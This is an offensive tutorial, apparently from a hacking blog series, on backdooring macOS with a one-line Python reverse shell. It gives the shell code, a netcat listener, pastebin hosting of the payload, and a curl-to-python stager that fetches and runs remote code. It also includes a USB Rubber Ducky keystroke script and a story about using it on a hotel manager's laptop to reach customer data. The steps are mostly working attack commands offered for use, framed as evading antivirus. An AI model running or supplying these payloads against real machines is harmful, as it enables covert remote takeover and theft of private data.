How to Use One Python Command to Bypass Antivirus Software in 5 Seconds

The misconception that macOS is more secure than the Windows operating system is far from the truth. With just one small command, a hacker can completely take over a MacBook and control it remotely.

The sheer volume of Windows computers currently in operation around the world makes hacking them a lucrative venture for malware developers and bug hunters looking to cash-in on Windows 10 zero-day exploits. Thus, there is a lot more news surrounding Windows 10 exploitation, even though macOS can be just as vulnerable.

When it comes to Mac pwning, one-liner payloads simply create a connection to a MacBook which allows an attacker to run commands remotely. An experienced Python coder could easily compose a sophisticated script to exfiltrate sensitive data, record audio through the mic in real time, stream the desktop and spy on the target, or automatically perform a variety of post-exploitation attacks.

For this new mini-series in our Hacking macOS collection, I'll feature multiple one-liner commands to hack macOS. Here's just one command capable of creating a backdoor and evading antivirus software in the process:

```
import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",8080));os.
dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
```

This Python command won't be flagged as malicious or suspicious by the macOS firewall (with "Block all incoming connections" enabled) or antiviruses like AVG and Avast, because Python isn't a *virus*. Python is one of several technologies built-in to the macOS operating system being abused much like how PowerShell, a legitimate tool designed for Windows administrators, is abused by hackers.

- **Don't Miss: How to Use Netcat, the Swiss Army Knife of Hacking Tools**

The Python command is a bit lengthy, so I'll show how to work long commands and complex payloads into a real hack with a fictional example of how this could work in the real world.

Step 1 Start the Netcat Server

Setup Netcat (**nc**) to listen (**-l**) for new incoming connections on port (**-p**) **8080**. Netcat will start listening on every available interface.

```
nc -l -p 8080
```

Step 2 Save the Payload

Then, save the below Python code as a file called **payload.py**. This can be done using **nano** or a preferred text editor.

```
import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",8080));os.
dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
```

If the command is run on a remote MacBook where a virtual private server (VPS) is in use, be sure to change the attacker's IP address (**1.2.3.4**) to the server IP. For local networks where the attacker's system is on the same Wi-Fi network as the MacBook, Netcat will be reachable using the attacker's local IP address (e.g., 192.168.1.18). The port number (**8080**) can be changed to anything between 1024 and 65535.

Step 3 Upload the Payload to a Pastebin

Upload the Python code to a Pastebin. I prefer Pb, a command line-based Pastebin because the domain name is very short and it features the ability to manually name the pastes. For example, if I wanted to upload a Python script, I would use the below cURL command.

```
cat payload.py | curl -F c=@- https://ptpb.pw/~PasteNameHere
```

Here, I'm using **cat** to read the Python file and directing it (**|**) to the cURL command which takes the data (**-F c=@-**) and sends it to the pb server with the URI "PasteNameHere." The Pastebin will then print data in the terminal confirming the paste was created.

```
cat payload.py | curl -F c=@- https://ptpb.pw/~PasteNameHere

digest: a1a045f5546347f5cbf0181328ce4d77550f6ff7
label: ~PasteNameHere
long: AKGgRfVUY0f1y_AYEyjOTXdVD2_3
short: D2_3
size: 7938
```

```
status: created
url: https://ptpb.pw/~PasteNameHere
uuid: xxxxxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
```

Simply visiting the URL now from any web browser will show the Python payload. The paste name can be anything. If I wanted to create a paste using my username, I would use the below command.

```
cat payload.py | curl -F c=@- https://ptpb.pw/~tokyoneon
```

Step 4 Hack All the MacBooks

From here on out, any MacBook can be hacked using the below command. It's a fairly easy command to commit to memory. The cURL command will download the paste (stager) containing the Python code and execute as a background process.

```
curl ptpb.pw/~tokyoneon | python - &
```

Social Engineering Attacks

The real challenge is the social engineering aspect of an attack. *How does a hacker trick someone into running malicious code?* Well, I had some fun this weekend and composed a simple scenario in the form of a short story which may help illustrate a practical use for hacking macOS using a single command.

While this story is completely fictional and hypothetical, I did test the featured attack against macOS High Sierra where Avast (or AVG) was installed. All of the characters were named after notorious hackers.

The Hotel Manager & the Rubber Ducky

A hacker wanted access to a high-end hotel database that contained private customer information. To get closer to the hotel staff and their internal networks, the hacker decided to spend an evening at the hotel under the alias "Nathalie Nahai."

Nathalie entered the hotel and didn't know it yet, but the normal receptionist was out sick that particular evening. This meant the assistant manager of the building acted as the concierge for several hours. After approaching the receptionist's desk in the lobby, Nathalie saw the concierge's nametag, which read: "Manager: Christopher Hadnagy." It had the hotel logo beside it.

"Good evening, and welcome to Hacked Hotel! How can I help you this evening?" exclaimed Christopher with a radiant smile.

"Hey, Chris," said Nathalie, abbreviating his full name in an effort to create an informal tone to their conversation. "I'd like to book a room for the night."

As Christopher was beginning the new customer registration process on the touchscreen point-of-sale (PoS) kiosk, Natalie saw an open MacBook on the receptionist's desk. "Oh, is that the latest MacBook model?" Natalie asked, phishing for information and inconspicuously searching through her wallet for the USB Rubber Ducky labeled "macOS." The USB Rubber Ducky payload was designed to create a backdoor that would give her remote access to the MacBook.

- **Don't Miss: Null Byte's Guides on Hacking with a USB Rubber Ducky**

```
DELAY 1500
GUI SPACE
DELAY 350
STRING terminal
DELAY 100
ENTER
DELAY 1000
STRING curl ptpb.pw/~tokyoneon | python - &
ENTER
GUI q
```

"No, not quite," he said with a chuckle. "It's an older one I use for work, but I've been meaning to upgrade. He then interrupted himself with: "What kind of room will you need tonight?"

"Hmm, what are my options?" asked Natalie, concealing the macOS USB Rubber Ducky in the palm of her hand, hoping for an opportunity to insert it into the manager's MacBook.

"Well, our rooms start at $425 a night. That's one queen-sized bed, one bathroom, and includes breakfast, access to our pool ...." The manager recited the features and benefits included in the hotel's various packages and deals. To create an opportunity to insert the USB Rubber Ducky into the MacBook, Natalie asked, "Would you happen to have a brochure or pamphlet with all the options? You see, my mom's flying into town this evening, and I want to make sure we're comfortable."

"Of course," Christopher replied reaching the side of the desk for a brochure. "Oh, actually, it looks like we're all out. Give me just a sec; I'll grab some more from the back office."

The manager dashed out from behind the receptionist desk and entered the locked room a few feet away. Natalie reached over the desk, inserted the USB payload into the MacBook that was nearly out of arm's length. A terminal window popped open just two seconds after inserting the USB Rubby Ducky, and the light on the USB changed from red to green, indicating the keystroke injection was complete.

Nathalie pulled the USB Rubby Ducky from the MacBook and tried to look casual. A few seconds later, Christopher returned from the back office with a handful of brochures.

"Here's one brochure for you and one for your mom," he said with a smile.

Stay Tuned for More One-Liner Payloads...

This is just one fictional example of how someone could pwn a MacBook or Mac desktop computer with a simple command. There are many more instances where an attacker could gain access to a Mac to deliver a payload unsuspectingly. In upcoming articles, I'll show how to use lesser-known programs that are built into macOS to create backdoors into the MacBook.

Don't Miss: **How to Configure a Backdoor on Anyone's MacBook**